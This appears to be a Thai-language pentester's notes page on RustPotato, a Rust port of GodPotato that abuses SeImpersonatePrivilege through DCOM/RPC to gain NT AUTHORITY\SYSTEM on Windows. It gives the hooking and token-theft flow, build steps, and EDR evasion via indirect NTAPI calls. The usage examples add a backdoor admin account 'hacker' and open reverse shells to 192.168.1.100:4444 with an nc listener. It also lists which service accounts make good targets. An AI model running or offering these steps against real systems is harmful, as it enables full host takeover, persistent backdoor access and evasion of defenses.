← Back to Tomes

🥔 RustPotato — Privilege Escalation via SeImpersonate

Source: github.com/safedv/RustPotato

Base: GodPotato (BeichenDream) ported to Rust

Target: Windows x86_64 → NT AUTHORITY\SYSTEM

Overview

RustPotato เป็น Rust implementation ของ GodPotato ซึ่งเป็น Privilege Escalation tool ที่ใช้การ abuse DCOM และ RPC เพื่อ leverage SeImpersonatePrivilege และยกระดับสิทธิ์ขึ้นเป็น NT AUTHORITY\SYSTEM บน Windows

จุดเด่นหลัก:

  • TCP-based Reverse Shell (รองรับทั้ง cmd และ powershell)
  • Indirect NTAPI Calls (หลีกเลี่ยง API hooking จาก EDR)
  • Cross-compile ได้จาก Linux (Kali) ไปเป็น Windows x86_64 binary

ความแตกต่างจาก GodPotato (Original)

FeatureGodPotato (C#)RustPotato (Rust)
ภาษาC# / .NETRust
Runtime.NET CLR RequiredNative Binary (no runtime)
NTAPIDirect API CallsIndirect NTAPI (stealthier)
Reverse Shellไม่มี built-inมี TCP Reverse Shell built-in
AV Evasionต่ำกว่าสูงกว่า (indirect syscalls)
Cross-compileไม่รองรับรองรับ (Linux → Windows)
Toolchain.NET SDKRust Nightly

Execution Flow

  1. Locate RPC_SERVER_INTERFACE — สแกน memory ของ combase.dll หา RPC_SERVER_INTERFACE structure
  2. Hook RPC_DISPATCH_TABLE — แทรก custom function pointer เข้า dispatch table
  3. Create Named Pipe — สร้าง named pipe เช่น \\.\pipe\RustPotato พร้อม unrestricted access
  4. Unmarshal COM Object — บังคับให้ RPCSS เชื่อมต่อกับ named pipe
  5. Trigger RPCSS — ยิง RPC calls ผ่าน hooked dispatch table
  6. Impersonate Client — ใช้ ImpersonateNamedPipeClient เข้า security context ของ RPCSS
  7. Retrieve SYSTEM Token — ค้นหาและ duplicate token ของ NT AUTHORITY\SYSTEM
  8. Execute Command — รัน command ด้วย CreateProcessWithTokenW ในฐานะ SYSTEM
  9. Restore & Cleanup — คืน dispatch table และปิด named pipe server

การติดตั้ง (บน Kali Linux)

Prerequisites

  • Rust Nightly (version 1.86 ขึ้นไป)
  • Cross-compile toolchain สำหรับ x86_64-pc-windows-gnu

Step 1 — ติดตั้ง Rust Nightly

curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
rustup install nightly-2025-02-14

Step 2 — เพิ่ม Windows Target

rustup target add x86_64-pc-windows-gnu --toolchain nightly-2025-02-14

Step 3 — Clone Repository

git clone https://github.com/safedv/RustPotato
cd RustPotato

Step 4 — Build

# Clean build artifacts ก่อน (แนะนำ)
rustup run nightly-2025-02-14 cargo clean

# Build release binary
rustup run nightly-2025-02-14 cargo build --release --target x86_64-pc-windows-gnu --features verbose

Output binary อยู่ที่: target/x86_64-pc-windows-gnu/release/RustPotato.exe

การใช้งาน (Usage)

Syntax

RustPotato.exe [command line] | [options]

Options

OptionDescription
[command line]รัน command โดยตรงในฐานะ SYSTEM
-h <LHOST>IP address ของ listener (reverse shell)
-p <LPORT>Port ของ listener (reverse shell)
-c <cmd|powershell>Shell type (default: cmd)

Examples

# ตรวจสอบ privilege escalation
RustPotato.exe "cmd.exe /c whoami"

# เพิ่ม local admin user
RustPotato.exe "cmd.exe /c net user hacker P@ssw0rd123 /add && net localgroup administrators hacker /add"

# Reverse shell ด้วย cmd (default)
RustPotato.exe -h 192.168.1.100 -p 4444

# Reverse shell ด้วย PowerShell
RustPotato.exe -h 192.168.1.100 -p 4444 -c powershell

Listener Setup (Kali)

nc -lvnp 4444

ตัวอย่างการใช้งาน

เริ่มจากเช็ค Privilege Name ว่ามี SeImpersonatePrivilege ไหม

ตรวจสอบ SeImpersonatePrivilege

ใช้ Command ตาม Example เพื่อใช้ในการ Reverse Shell มันสะดวกกว่า GodPotato อีกนะเนี่ย

รัน RustPotato reverse shell

เปิด nc รอเลย และก็รอรับ shell ได้ SYSTEM เรียบร้อย EZ

ได้ SYSTEM shell

Prerequisites บน Target (Windows)

บัญชีที่มี SeImpersonatePrivilege เช่น:

  • IIS AppPool
  • MSSQL Service Account
  • Network Service
  • Local Service

Windows OS ที่รองรับ ไม่จำกัด version (ต่างจาก JuicyPotato)

ตรวจเช็คได้จาก Local Security Policy -> Users Rights Assignment -> Impersonate a client after authentication

Prerequisites บน target

ปัญหาที่พบระหว่างติดตั้ง

ปัญหา: ต้องใช้ Nightly Toolchain เฉพาะ version

อาการ: Build ล้มเหลวด้วย error เกี่ยวกับ feature flags หรือ unstable API
สาเหตุ: RustPotato ใช้ Rust nightly features ที่ยังไม่ stable

rustup install nightly-2025-02-14
rustup run nightly-2025-02-14 cargo build ...

ปัญหา: ไม่มี linker สำหรับ x86_64-pc-windows-gnu

อาการ:

error: linker `x86_64-w64-mingw32-gcc` not found

แก้ไข (Kali/Debian):

sudo apt install gcc-mingw-w64-x86-64 -y

ปัญหา: Cargo build หา target ไม่เจอ

อาการ: error[E0463]: can't find crate for 'std'
สาเหตุ: ยังไม่ได้ add target สำหรับ toolchain นั้น

rustup target add x86_64-pc-windows-gnu --toolchain nightly-2025-02-14

ปัญหา: Build ช้า / สะดุดครั้งแรก

rustup run nightly-2025-02-14 cargo clean
rustup run nightly-2025-02-14 cargo build --release --target x86_64-pc-windows-gnu --features verbose

Dependencies ที่ compile ในขั้นตอน Build

proc-macro2, quote, unicode-ident
windows-link, windows-result, windows-strings, windows-core v0.61.2
winapi-x86_64-pc-windows-gnu v0.4.0, winapi v0.3.9
libc v0.2.186, libc-print v0.1.23
windows-threading, windows-interface, windows-implement
windows-collections, windows-future, windows-numerics, windows v0.61.3
base64 v0.22.1, syn v2.0.117, byteorder v1.5.0
RustPotato v0.1.0

References